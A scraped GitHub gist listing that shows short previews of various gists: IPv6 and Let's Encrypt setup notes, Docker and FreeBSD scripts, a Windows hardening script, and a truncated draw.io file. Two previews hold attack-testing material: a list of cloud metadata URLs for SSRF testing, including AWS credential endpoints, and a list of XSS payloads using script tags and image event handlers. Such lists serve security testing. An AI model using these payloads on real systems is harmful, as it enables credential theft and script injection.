Skip to content

Instantly share code, notes, and snippets.

View hazcod's full-sized avatar

Niels Hofmans hazcod

View GitHub Profile
@olivierlambert
olivierlambert / onlinenet_debian_ipv6.md
Last active May 10, 2018 00:49 — forked from eraserewind/onlinenet_debian_ipv6.md
Online.net: IPv6 in Debian virtual machines

Online.net: IPv6 in Debian virtual machines

Without this annoying dribbler thing.

Variables

  • RANGE = /64
  • EXT_IF = external interface
  • IPV6 = Any IPv6 in RANGE
  • DUID = dhcp client id. Find it in console.online.net
@BuffaloWill
BuffaloWill / cloud_metadata.txt
Last active March 26, 2026 23:27
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@cecilemuller
cecilemuller / letsencrypt_2020.md
Last active August 12, 2026 20:00
How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SSL rating)

How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)


Virtual hosts

Let's say you want to host domains first.com and second.com.

Create folders for their files:

@mgbowman
mgbowman / enczfs
Last active July 28, 2018 12:11
FreeBSD rc script for unlocking a geli encrypted zvol
#!/bin/sh
#
# $FreeBSD$
#
# PROVIDE: enczfs
# REQUIRE: sshd
# BEFORE: iocage
# KEYWORD: shutdown
#
@lukechilds
lukechilds / get_latest_release.sh
Created August 9, 2016 19:43
Shell - Get latest release from GitHub
get_latest_release() {
curl --silent "https://api.github.com/repos/$1/releases/latest" | # Get latest release from GitHub api
grep '"tag_name":' | # Get tag line
sed -E 's/.*"([^"]+)".*/\1/' # Pluck JSON value
}
# Usage
# $ get_latest_release "creationix/nvm"
# v0.31.4
@MPJHorner
MPJHorner / Docker.qcow2.reduce.sh
Created August 21, 2016 10:15
Reduce / Clean Up Docker.qcow2 File
#Ensure to exit docker from taskbar first.
cd ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux /Applications/Docker.app/Contents/MacOS/qemu-img convert -O qcow2 Docker.qcow2 Docker2.qcow2 mv Docker2.qcow2 Docker.qcow2
@BretFisher
BretFisher / docker-swarm-ports.md
Last active March 18, 2026 09:55
Docker Swarm Port Requirements, both Swarm Mode 1.12+ and Swarm Classic, plus AWS Security Group Style Tables

Docker Swarm Mode Ports

Starting with 1.12 in July 2016, Docker Swarm Mode is a built-in solution with built-in key/value store. Easier to get started, and fewer ports to configure.

Inbound Traffic for Swarm Management

  • TCP port 2377 for cluster management & raft sync communications
  • TCP and UDP port 7946 for "control plane" gossip discovery communication between all nodes
  • UDP port 4789 for "data plane" VXLAN overlay network traffic
  • IP Protocol 50 (ESP) if you plan on using overlay network with the encryption option

AWS Security Group Example

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@sjas
sjas / windows_hardening.cmd
Created November 24, 2017 05:21 — forked from mackwage/windows_hardening.cmd
Script to perform some hardening of Windows OS
::
::#######################################################################
::
:: Change file associations to protect against common ransomware attacks
:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
:: ---------------------
ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
@hazcod
hazcod / drawio-vega-overclocking.xml
Last active December 27, 2017 11:21
Draw.io file for overclocking AMD VEGA cards.
<mxfile userAgent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" version="7.8.7" editor="www.draw.io" type="device"><diagram name="Page-1" id="c7558073-3199-34d8-9f00-42111426c3f3">3VvbcqM4EP0aV+08TAohwPAYe3LZqs3uVKVqZudRwbJhg5FXyHGcr1/JiIsk8CWA441fbBohoT7dR6cFHsHp8vWOolX0QGY4GdnW7HUEv41sGzjQ4l/Css0t4zHIDQsaz2SjyvAYv2FplNct1vEMZ0pDRkjC4pVqDEma4pApNkQp2ajN5iRRR12hBTYMjyFKTOvPeMai3OrbXmW/x/EiKkYGXpCfeULh84KSdSrHG9lwvvvkp5eo6EtONIvQjGxqJngzglNKCMt/LV+nOBG+LdyWX3fbcra8b4pTdswFML/gBSVrOfUfN3fXniPvjm0Lj2yimOHHFQrF8YajPoITlMSLlB+GfDBMueEFUxZzL17LE8t4NhMdTOYkZY+yM8CPM0bJc+laKFrESTIlCaG74eAt/0yn5mzkBMVA+LVmkrO7w2SJGd3yJvKsDSVmMhILx28qWANpimqIetKGZCAtyo4rZ/If0p/NvnUafet6n8a3jvVRri1Arfn2erVKxL1lZM7ExMiGu41/J0hYGXpKOKGIBIacZODEAAHPOAPIw5SkwrMpuakZK9/WfBkEFv8YXudOm3C/0u3f/MC6covDX+KwHL3B+RlZ0xAruckQXeCiVcFA4m73QlQDAVgNKJRGihPE4heV+JqwkWN8J3HKavmlxYCroZtPSF5UJyKtH6B1BPSOcjcYHe0ipZz3ccEzNoLnNkFZxE2T3/96PGdkKHGxC5OjIsMxIwNeWlz4Gp7BOwMDah3p/fQXFwCay1